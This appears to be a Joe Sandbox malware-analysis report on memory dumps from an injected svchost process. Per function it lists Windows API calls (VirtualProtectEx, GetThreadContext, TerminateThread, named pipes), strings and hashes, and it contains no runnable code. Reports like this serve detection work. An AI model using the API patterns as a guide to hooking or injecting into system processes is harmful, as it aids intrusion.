Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: f19f250884e5a5ca10a7d28f396b53d68425f9b958b93f700f72ddf209fe23ad
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: F2116072319B8286F7508B56F88536967A1F788FE5F484634EA5B877A4CF7CC8148740

Function 000001FB539C3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001FB539C379E
GetCurrentProcess.KERNEL32 ref: 000001FB539C37CC
VirtualProtectEx.KERNEL32 ref: 000001FB539C37EE
GetCurrentProcess.KERNEL32 ref: 000001FB539C3809
VirtualProtectEx.KERNEL32 ref: 000001FB539C382A

Strings

wr, xrefs: 000001FB539C37FF

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 5c0b12d5fc8e251d62a9ecb423148d3d6f5980d317266ae4fff7775e2e87b1f2
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 8B115E7670AB8682FF549B66F4842B963A2F748B85F4C0439DE8A077A4EF3DC505C704

Function 000001FB539C5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001FB539C5B6B
GetThreadContext.KERNEL32 ref: 000001FB539C5CD5

Part of subcall function 000001FB539C5960: GetCurrentThreadId.KERNEL32 ref: 000001FB539C5964

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 5469abee5b4e9bf0bdf770da9b99d52bae9361e8749dbde8dcbd5f420d2bc2f2
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 17D17D76209B4985EB709B16E4D43AA77A1F3C8B84F580126EACE47BB5DF3CC551CB40

Function 000001FB539C2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001FB539C2F27
HeapAlloc.KERNEL32 ref: 000001FB539C2F3A
StrCmpNIW.SHLWAPI ref: 000001FB539C2FAF
GetProcessHeap.KERNEL32 ref: 000001FB539C3015
HeapFree.KERNEL32 ref: 000001FB539C3023

Strings

dialer, xrefs: 000001FB539C2FA8

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: cc9ad914701f13315fd69f315d2c8feb691bd09a9d7ccb6b0530ae7b9a7b48cd
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: C131837670AB5A82FA15DF56D5C07BAA792FB44B84F0C44309E8A47B65EF3CC4A18740

Function 000001FB539CCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001FB539CCFAF
FlsSetValue.KERNEL32(?,?,?,000001FB539CD6B5,?,?,?,?,000001FB539CD778), ref: 000001FB539CCFE5
FlsSetValue.KERNEL32(?,?,?,000001FB539CD6B5,?,?,?,?,000001FB539CD778), ref: 000001FB539CD012
FlsSetValue.KERNEL32(?,?,?,000001FB539CD6B5,?,?,?,?,000001FB539CD778), ref: 000001FB539CD023
FlsSetValue.KERNEL32(?,?,?,000001FB539CD6B5,?,?,?,?,000001FB539CD778), ref: 000001FB539CD034
SetLastError.KERNEL32 ref: 000001FB539CD04F

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 8e2cc52478816b46073d1eda117981dfc24803c2b807f92ef055f03951766850
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 4A115EB020F28A81FA64A726D6C63BD63435B887F0F5C4734A837467FADF6C84029710

Function 000001FB539C199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001FB539C19C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001FB539C19E0
PathFindFileNameW.SHLWAPI ref: 000001FB539C19EF
lstrlenW.KERNEL32 ref: 000001FB539C19FB
StrCpyW.SHLWAPI ref: 000001FB539C1A0E
CloseHandle.KERNEL32 ref: 000001FB539C1A1C

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: d96a0d85e18bd00034df92b739627b984554b744396f702b8ef2f930aa75394b
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 67016D71309A8682FB14DB52E4883AA63A2F788BC0F8C4435DE8A43765DF3CC549C700

Function 000001FB539C36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001FB539C36E4
GetCurrentProcess.KERNEL32 ref: 000001FB539C36F2
VirtualProtectEx.KERNEL32 ref: 000001FB539C3714
GetCurrentProcess.KERNEL32 ref: 000001FB539C3732
VirtualProtectEx.KERNEL32 ref: 000001FB539C3753
TerminateThread.KERNEL32 ref: 000001FB539C3762

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: fda331bf91d84a1e7dd7c21d20511b9b3e708f0354f79a4ceedf790b70eea54f
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 650121B521A74682FB249B56F8893A563A2BB49B85F4C4834CD4A07774EF3DC1448B00

Function 000001FB539C9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001FB539C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001FB539C90A8
RtlUnwindEx.NTDLL ref: 000001FB539C90F7

Strings

csm, xrefs: 000001FB539C908E
f, xrefs: 000001FB539C9026

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 170696c3728ef68149a4f5dd5ab44c4829b88e797df50feb444b0b5984898a95
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4551BFB270A24B8AEB14CB15E489BBA3797F344B88F5D8534DA07477A8EB39C841C704

Function 000001FB539C8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001FB539C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001FB539C90A8
RtlUnwindEx.NTDLL ref: 000001FB539C90F7

Strings

csm, xrefs: 000001FB539C908E
f, xrefs: 000001FB539C9026

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: a804f7a027a439150108e4f724fee75847e24b7a128904c366b285a41af1a838
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: DD31D1B220A686C6E714DF12E8897AA77A6F344B88F4D8434EE47477A9DB3DC941C704

Function 000001FB539C1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001FB539C1A60
StrCmpNIW.SHLWAPI ref: 000001FB539C1A7A
lstrlenW.KERNEL32 ref: 000001FB539C1A89
StrCpyW.SHLWAPI ref: 000001FB539C1A9E

Strings

\\?\, xrefs: 000001FB539C1A6E

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 7041c7b363bb532df87a82727498a3c47e6c77f4aba70d1cec084aacf5478d1c
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: BCF044B230968692F7608F21F8C47A96762F748BC8FCC4030DA4A46A64DF3CC64DCB04

Function 000001FB539C3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001FB539C3066
StrCpyW.SHLWAPI ref: 000001FB539C3076
StrCatW.SHLWAPI ref: 000001FB539C3082
PathCombineW.SHLWAPI ref: 000001FB539C3090

Strings

\\.\pipe\, xrefs: 000001FB539C305C

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 3d718759b31359e7105f5c9c5d76d0a703cea5687920891f1199a65a2e33e12e
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 50F0F8B561ABC682FA148B52F9951A9A762AB48FD0F4C9530EE4B47B28DF2CC4458700

Function 000001FB539CBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001FB539CBCBD
GetProcAddress.KERNEL32 ref: 000001FB539CBCD3
FreeLibrary.KERNEL32 ref: 000001FB539CBCFA

Strings

CorExitProcess, xrefs: 000001FB539CBCCC
mscoree.dll, xrefs: 000001FB539CBCB4

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 02050852133c47cbee4d85a20b7f67a6a3ee0c205252fbf7605758d57af0b57c
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 64F062B521A64681FB108F29E4853B96322EB85761F9C0A39CA6B453F4DF3CC444C340

Function 000001FB539C50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001FB539C5156

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 53032330eb2a6da8034d978688d882b7e120780e33b779c8a0d6604ede2127e4
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: E002CB7221EB8586E760CB56F4947AAB7A1F3C4794F184025EACE87BA9DF7CC454CB00

Function 000001FB539C5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001FB539C5726

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 35d6f73adecf76b2e3ecaee93454b03218b5995e470e293602ffafe4bc405b43
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: DE61BDB651EB49C6E760CB16E49436AB7A2F388794F581125EA8F47BB8DB7CC540CF00

Function 000001FB539A3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001FB539A352C
_set_statfp.LIBCMT ref: 000001FB539A3547
_set_statfp.LIBCMT ref: 000001FB539A3563
_set_statfp.LIBCMT ref: 000001FB539A359F

Memory Dump Source

Source File: 00000034.00000002.2003352169.000001FB53990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB53990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb53990000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 5d1ff030d00cd2d713d849fa80cc5a6bdae8e42945106595b2b3d385686a6c18
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: CC1191B2A1EB1311FAA615ECE4D53F911D36B58374F4C9738AD6B06FF68B2CC8415500

Function 000001FB539D4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001FB539D412C
_set_statfp.LIBCMT ref: 000001FB539D4147
_set_statfp.LIBCMT ref: 000001FB539D4163
_set_statfp.LIBCMT ref: 000001FB539D419F

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: f9a8c0488bc3d4deea02a29900cc9a1534e547037d25a2bef2725409dacae6a9
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: E8118FF6A1AA9321FA64556AD4D73F612536B783E8E0C0E34A9770E7F6CF2CC8614601

Function 000001FB5399F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001FB5399F124

Strings

or copy constructor iterator', xrefs: 000001FB5399F25A, 000001FB5399F275
Wednesday, xrefs: 000001FB5399F1ED
Tuesday, xrefs: 000001FB5399F0F4

Memory Dump Source

Source File: 00000034.00000002.2003352169.000001FB53990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB53990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb53990000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: f68e625ba7acd24a59fe08d2c251c553b64a170b309e681ffe222c22834a18b8
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 9661A1F360E24242FA698B64D4E03FEA7A3E745742F5D4535CA1B177B4DB3CC8458A60

Function 000001FB539CAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001FB539CAA68
_CallSETranslator.LIBVCRUNTIME ref: 000001FB539CAAB7

Strings

MOC, xrefs: 000001FB539CAA7C
RCC, xrefs: 000001FB539CAA85

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: bedfb9b5bf910b629efd52c6bf81bea48cf952128bd26ee9357b23212e3a9e3e
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 27614C7261AB898AE710DF65D4803ED77A2F348B88F084225EF4A17BA9DB3CD555C701

Function 000001FB5399A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001FB5399A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001FB5399A288

Strings

csm, xrefs: 000001FB5399A1C2
csm, xrefs: 000001FB5399A2DA

Memory Dump Source

Source File: 00000034.00000002.2003352169.000001FB53990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB53990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb53990000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: e67ae822c152f91a8f128c44beafeeb84265359930fac9f4cc8cbbf4076c63b1
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: B8519FB3109282CAEB748B15D4A43AD77A2F359B94F1C5125DA9A87BA5CB3CD460CF02

Function 000001FB539CAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001FB539CADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001FB539CAE88

Strings

csm, xrefs: 000001FB539CAEDA
csm, xrefs: 000001FB539CADC2

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: dab5994280bf0e8b86b40aef4342addec26e55d86bcc80a1a6ecae4785b560e1
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 1051C0B212938A8AEB748F15D5C43B977A2F755B94F1C4135DA8A47BE5CB3CC450C702

Function 000001FB53998405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001FB53998413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001FB539984A8

Strings

f, xrefs: 000001FB53998426
csm, xrefs: 000001FB5399848E

Memory Dump Source

Source File: 00000034.00000002.2003352169.000001FB53990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB53990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb53990000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: c962e0a8b14c83a09ed27bc9a3309a2cbfdf0f654e531ad194cbd062dad2bbc8
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 7851A0B371E2028BEB56CB15D494BE8379AF354B98F588178DA07477A8EB38CC45CB05

Function 000001FB539983E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001FB53998413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001FB539984A8

Strings

f, xrefs: 000001FB53998426
csm, xrefs: 000001FB5399848E

Memory Dump Source

Source File: 00000034.00000002.2003352169.000001FB53990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB53990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb53990000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 608a93562e2c18e35ab68ab54ccf2d1a6f83fad5714ed2d3758c5d6ebae4ab62
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 1431BEB321E641D6E712DF11E8947E937AAF740B88F088128EE4B077A8CB3CC940CB05

Function 000001FB539D2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001FB539D20D7
WriteFile.KERNEL32 ref: 000001FB539D239F
WriteFile.KERNEL32 ref: 000001FB539D23E5
GetLastError.KERNEL32 ref: 000001FB539D249B

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 70b94840535153a2c256647204e39846594304de18c1bbc617468f21897222c2
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: D0D105B271AA8189F711CF75D4803EC7BB2F754798F188625CE9A97BA9DB38C406C340

Function 000001FB539C14A4 Relevance: 6.3, APIs: 5, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001FB539C14C5
HeapFree.KERNEL32 ref: 000001FB539C14D4
GetProcessHeap.KERNEL32 ref: 000001FB539C14E1
HeapFree.KERNEL32 ref: 000001FB539C14F0
GetProcessHeap.KERNEL32 ref: 000001FB539C1500

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction ID: bdc4653b437380b3f3f4ca15b24486875ab127c3d64caf90ce25882780f20bf3
Opcode Fuzzy Hash: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction Fuzzy Hash: 0901807260AAD6D6E704DF62E8851AA67A2F749FC1F484834DA8A43725DF38C051C740

Function 000001FB539D2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001FB539D2A9C
GetLastError.KERNEL32 ref: 000001FB539D2B27

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 40f7c5f63300661cd661e55aa19decf58a802a22f31068c6dfd4796ed8c75239
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: D291E4B270A65285F7609F65D4C23FDABA2B705B88F1C4529DE8B577A4DB7DC842C300

Function 000001FB539C7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001FB539C798C
GetCurrentThreadId.KERNEL32 ref: 000001FB539C799A
GetCurrentProcessId.KERNEL32 ref: 000001FB539C79A6
QueryPerformanceCounter.KERNEL32 ref: 000001FB539C79B6

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: defa4ae0642d6a32399fd8954af5e6e6148f63eaf2e33393bd27ecb724b6d61b
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
